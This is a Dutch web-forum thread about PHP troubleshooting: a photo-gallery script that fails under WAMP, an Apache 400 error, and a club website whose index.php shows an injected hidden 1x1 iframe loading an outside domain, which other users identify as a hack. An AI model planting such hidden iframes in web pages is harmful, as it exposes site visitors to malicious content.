Het idee is eigenlijk als volgt met behulp van een tabel een input field aanpassen en doorverwerken in de DB. Dat is het idee, daarom heb ik perse een Id nodig :P

[ Bericht 18% gewijzigd door cablegunmaster op 11-10-2012 16:50:15 ]
Redacted
pi_117891615
ik bij een webhoster een stukje script staan om een mapje met foto's te displayen op scherm.

Nu wilde ik en een collega dat lokaal zetten met WAMP
files 1op1 gekopieerd, maar nu krijg ik geen foto's te zien lokaal
Moet ik in WAMP nog bepaalde opties aan/uit zetten?

Dit is het script (copied van internet)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
// Original PHP code by Chirp Internet: www.chirp.com.au
 // Please acknowledge use of this code by including this header.

$imagetypes = array("image/jpeg""image/gif");

function 
getImages_after($dir)
 {
 global 
$imagetypes;

// array to hold return value
$retval = array();

// add trailing slash if missing
if(substr($dir, -1) != "/"$dir .= "/";

// full server path to directory
$fulldir "{$_SERVER['DOCUMENT_ROOT']}/$dir";

$d = @dir($fulldir) or die("getImages: Failed opening directory $dir for reading");
while(
false !== ($entry $d->read())) {
// skip hiddenfiles
if($entry[0] == ".") continue;

// check for image files
$f escapeshellarg("$fulldir$entry");
$mimetype trim(`file -bi $f`);
foreach(
$imagetypes as $valid_type) {
if(
preg_match("@^{$valid_type}@"$mimetype)) {
$retval[] = array(
'file' => "/$dir$entry",
'size' => getimagesize("$fulldir$entry") );

break;
}
}
}

 
$d->close();

sort($retval);
 return 
$retval;
}

 
// fetch image details
$images getImages_after("images/after");

// display on page
foreach($images as $img) {

echo 
"<div class='boxed'>";
echo 
"<img class='photo' src='{$img['file']}{$img['size'][3]} alt=' '> \n";
echo 
"<a href=\"{$img['file']}\">",basename($img['file']),"</a><br>\n";
echo 
"</div>";
 }
?>
pi_117892654
hoe ver was je al met debuggen?
pi_117893214
quote:
14s.gif Op vrijdag 12 oktober 2012 13:45 schreef KomtTijd... het volgende:
hoe ver was je al met debuggen?
bij de hoster online werkt het
dus ik verdenkt wamp
maar ik heb daar nog nooit mee gewerkt en ik heb geen idee waar te zoeken
vandaar mijn vraag hier...voor dummies
pi_117893273
Dat vroeg ik niet, ik vroeg hoe ver je bent met debuggen. Watvoor foutmeldingen krijg je?

-edit-
heb je in je php.ini error_reporting op E_ALL gezet?
pi_117893964
quote:
14s.gif Op vrijdag 12 oktober 2012 13:59 schreef KomtTijd... het volgende:
Dat vroeg ik niet, ik vroeg hoe ver je bent met debuggen. Watvoor foutmeldingen krijg je?

-edit-
heb je in je php.ini error_reporting op E_ALL gezet?
yep
error reporting staat aan
geen errors..alles lijkt het te doen maar ik zie geen foto's
als ik een echo "blabla"; erin zet dan krijg ik die op scherm, dus wamp werkt wel
maar misschien moet ik iets speciaals aanzetten
  FOK!-Schrikkelbaas vrijdag 12 oktober 2012 @ 14:20:20 #136
1972 Swetsenegger
Egocentrische Narcist
pi_117894075
quote:
0s.gif Op vrijdag 12 oktober 2012 14:17 schreef MrNiles het volgende:

[..]

yep
error reporting staat aan
geen errors..alles lijkt het te doen maar ik zie geen foto's
als ik een echo "blabla"; erin zet dan krijg ik die op scherm, dus wamp werkt wel
maar misschien moet ik iets speciaals aanzetten
Zet dit eens bovenaan je script

1
2
3
4
<?php
ini_set
('display_errors',1);
error_reporting(E_ALL);
?>
pi_117894116
ohja display_errors, die bitch vergeet ik ook altijd ;(
pi_117894424
; error_reporting
; Default Value: E_ALL & ~E_NOTICE
; Development Value: E_ALL | E_STRICT
; Production Value: E_ALL & ~E_DEPRECATED

quote:
Zet dit eens bovenaan je script
done

displayed
getImages: Failed opening directory images/before/ for reading
  vrijdag 12 oktober 2012 @ 14:31:43 #139
267443 Cue_
Cuecumbergirl
pi_117894482
quote:
0s.gif Op vrijdag 12 oktober 2012 14:30 schreef MrNiles het volgende:

getImages: Failed opening directory images/before/ for reading
Rechtenkwestie? Of verkeerde map?
  vrijdag 12 oktober 2012 @ 14:33:12 #140
12221 Tijn
Powered by MS Paint
pi_117894535
quote:
14s.gif Op vrijdag 12 oktober 2012 14:21 schreef KomtTijd... het volgende:
ohja display_errors, die bitch vergeet ik ook altijd ;(
Mja, of gewoon een terminalschermpje open waarin je inlogt op je server en dan dit draait

1tail -f /var/log/apache2/error.log
pi_117894626
quote:
5s.gif Op vrijdag 12 oktober 2012 14:31 schreef Cue_ het volgende:

[..]

Rechtenkwestie? Of verkeerde map?

mappen zijn goed
rechten..moet je dat ergens instellen in wamp..alles staat lokaal


had in www van wamp een submapje gemaakt met project naam
dat ging ergens fout denk ik...nu alles in de root gezet
error weg..but no pics
en geen errors

misschien toch ergens een foutje in het script waar de hoster niet over valt
echo van $fulldir geeft C:/wamp/www//images/after/
een dubbele // kan niet goed zijn denk ik
of wel....geen images

niemand nog een tip of een hint waar het fout kan gaan...
code is rechtstreeks van de server in wamp gezet...misschien een functie of extensie die niet aanstaat?

[ Bericht 11% gewijzigd door MrNiles op 12-10-2012 15:29:18 ]
  vrijdag 12 oktober 2012 @ 20:22:44 #142
25889 Sitethief
Fulltime Flapdrol
pi_117906103
quote:
10s.gif Op vrijdag 12 oktober 2012 14:33 schreef Tijn het volgende:

[..]

Mja, of gewoon een terminalschermpje open waarin je inlogt op je server en dan dit draait
[ code verwijderd ]

Maar das handig :o.
Stroek: Sitethief, die is heel groot en sterk :Y.
Faat: *zucht* zoals gewoonlijk hoor Sitethief weer in de bocht &gt;:)
  vrijdag 12 oktober 2012 @ 20:39:07 #143
25889 Sitethief
Fulltime Flapdrol
pi_117907055
Als je nou stap voors tap door je code heen loopt, alle waardes echo't of var_dumpt, dan moet je zelf het probleem toch ook vinden?
Stroek: Sitethief, die is heel groot en sterk :Y.
Faat: *zucht* zoals gewoonlijk hoor Sitethief weer in de bocht &gt;:)
pi_117911953
quote:
0s.gif Op vrijdag 12 oktober 2012 14:35 schreef MrNiles het volgende:

misschien toch ergens een foutje in het script waar de hoster niet over valt
echo van $fulldir geeft C:/wamp/www//images/after/
een dubbele // kan niet goed zijn denk ik
of wel....geen images

niemand nog een tip of een hint waar het fout kan gaan...
code is rechtstreeks van de server in wamp gezet...misschien een functie of extensie die niet aanstaat?
Waarschijnlijk gaat het fout op de plek waar $fulldir wordt gevuld. Er wordt ergens een pad zonder / verwacht maar een met / gegeven.
pi_117999286
Weet iemand waarom apache een 400 bad request produceert wanneer ik %u9019 toevoeg in een url :? Het gaat om een chinese teken in utf8 (urlencoded). Werkt trouwens ook bij fok.nl :P

edit: opgelost door encodeURIComponent ipv escape in javascript te gebruiken....

[ Bericht 11% gewijzigd door wipes66 op 15-10-2012 15:23:49 ]
..///
pi_118007376
Ik heb een vraagje:

Ik beheer de site voor onze vereniging. Nu wou ik vandaag de site bezoeken en krijg ik de volgende error:

Parse error: syntax error, unexpected '<' in C:\domains\denachtulkes.nl\wwwroot\index.php on line 88

Nu heb ik gezocht in mijn index.php en kwam ik dit tegen op line 88:
1
2
3
<?php
echo JResponse::toString($mainframe->getCfg('gzip'));<html><body><iframe src="http://abromdusgolkaman.com" width="1" height="1" frameborder="0"></iframe></body></html>
?>

Ik zie zelf de fout zo niet, kan een van jullie me helpen?
Hattrick: Atletico Mineiro S.C. (816058)
pi_118007639
quote:
0s.gif Op maandag 15 oktober 2012 18:47 schreef Swennus het volgende:
Ik heb een vraagje:

Ik beheer de site voor onze vereniging. Nu wou ik vandaag de site bezoeken en krijg ik de volgende error:

Parse error: syntax error, unexpected '<' in C:\domains\denachtulkes.nl\wwwroot\index.php on line 88

Nu heb ik gezocht in mijn index.php en kwam ik dit tegen op line 88:
[ code verwijderd ]

Ik zie zelf de fout zo niet, kan een van jullie me helpen?
echt niet?
het ziet er nou niet bepaald zuiver uit, dat iframe :')
pi_118007891
quote:
0s.gif Op maandag 15 oktober 2012 18:47 schreef Swennus het volgende:
Ik heb een vraagje:

Ik beheer de site voor onze vereniging. Nu wou ik vandaag de site bezoeken en krijg ik de volgende error:

Parse error: syntax error, unexpected '<' in C:\domains\denachtulkes.nl\wwwroot\index.php on line 88

Nu heb ik gezocht in mijn index.php en kwam ik dit tegen op line 88:
[ code verwijderd ]

Ik zie zelf de fout zo niet, kan een van jullie me helpen?
Ga maar vast virusscanners draaien, en daarna wachtwoorden aanpassen en je backup terugzetten.
pi_118013373
Haha, nice.
  maandag 15 oktober 2012 @ 21:10:30 #150
75592 GlowMouse
l'état, c'est moi
pi_118014598
Waarom veel verenigingen geen site moeten hebben.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
abonnement Unibet Coolblue
Forum Opties
Forumhop:
Hop naar:
(afkorting, bv 'KLB')